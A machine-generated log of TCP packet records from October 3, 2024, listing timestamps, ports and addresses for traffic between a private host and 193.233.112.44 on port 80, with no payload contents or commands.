Oct 3, 2024 23:17:07.455152988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455179930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455188036 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455224037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455235958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455257893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455274105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455292940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455305099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455327988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455341101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455363035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455374956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455413103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455430984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455465078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455481052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455499887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455513000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455533981 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455552101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455570936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455575943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455620050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455943108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455976963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455996990 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456011057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456024885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456046104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456062078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456082106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456087112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456116915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456131935 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456151962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456161022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456186056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456201077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456219912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456238985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456254959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456260920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456289053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456302881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456324100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456341982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456358910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456366062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456397057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456409931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456445932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456641912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456676960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456691980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456712008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456722021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456746101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456760883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456779957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456794977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456815004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456825018 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456849098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456860065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456883907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456896067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456918001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456934929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456950903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.456958055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.456990004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.457000971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.457037926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.584093094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.589092970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.940969944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.941028118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.941063881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.941097975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.941099882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.941131115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.941134930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.941159964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.941169977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.941184044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.941205978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.941217899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.941240072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.941252947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.941274881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.941288948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.941313982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.941329956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.941360950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012159109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012176991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012202024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012217045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012232065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012237072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012248039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012264967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012267113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012279987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012299061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012320995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012500048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012516975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012531996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012540102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012548923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012552023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012568951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012577057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012598038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012613058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012629032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012638092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012658119 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012675047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012768984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012794971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012809992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012816906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012825966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012825966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012842894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012845993 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012860060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012865067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012876987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012883902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012895107 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.012896061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012913942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.012932062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.031064034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.031095028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.031233072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.083496094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.083535910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.083575964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.083592892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.083609104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.083626032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.083642006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.083674908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.083741903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.083776951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084203005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084244013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084268093 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084283113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084290981 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084319115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084328890 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084353924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084372044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084388971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084407091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084440947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084517002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084552050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084573984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084587097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084599018 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084621906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084633112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084670067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084675074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084711075 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084724903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084747076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084760904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084777117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084799051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084810972 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084819078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084846973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084853888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084893942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.084933043 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084965944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.084984064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085000038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085005999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085035086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085042953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085072041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085084915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085108995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085123062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085156918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085344076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085374117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085397959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085406065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085412025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085441113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085447073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085470915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085491896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085504055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085515022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085550070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085552931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085591078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085599899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085632086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085632086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085666895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085680008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085704088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085716009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085721016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.085746050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.085755110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086143017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086168051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086184978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086194038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086203098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086215019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086222887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086224079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086241007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086244106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086256027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086260080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086277008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086277962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086294889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086302042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086312056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086312056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086322069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086355925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086487055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086503983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086519957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086530924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086534977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086543083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086554050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.086556911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086576939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.086586952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155210972 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155256033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155314922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155349970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155410051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155448914 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155457973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155491114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155493975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155513048 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155530930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155543089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155565977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155577898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155613899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155621052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155653000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155673027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155685902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155700922 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155736923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155740023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155772924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155791044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155807018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155822992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155843973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155858040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155879021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155899048 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155913115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155926943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155950069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155961037 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.155993938 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.155994892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156028032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156042099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156061888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156078100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156111956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156121016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156152010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156167984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156187057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156200886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156222105 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156233072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156258106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156269073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156292915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156306028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156332016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156341076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156378984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156527042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156562090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156579971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156594992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156600952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156630039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156635046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156666040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156677961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156701088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156716108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156738997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156745911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156769037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156785965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156814098 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.156934977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156969070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.156986952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157002926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157010078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157037020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157046080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157072067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157083035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157108068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157119036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157143116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:08.157154083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:08.157188892 CEST	49710	80	192.168.2.5	193.233.112.44
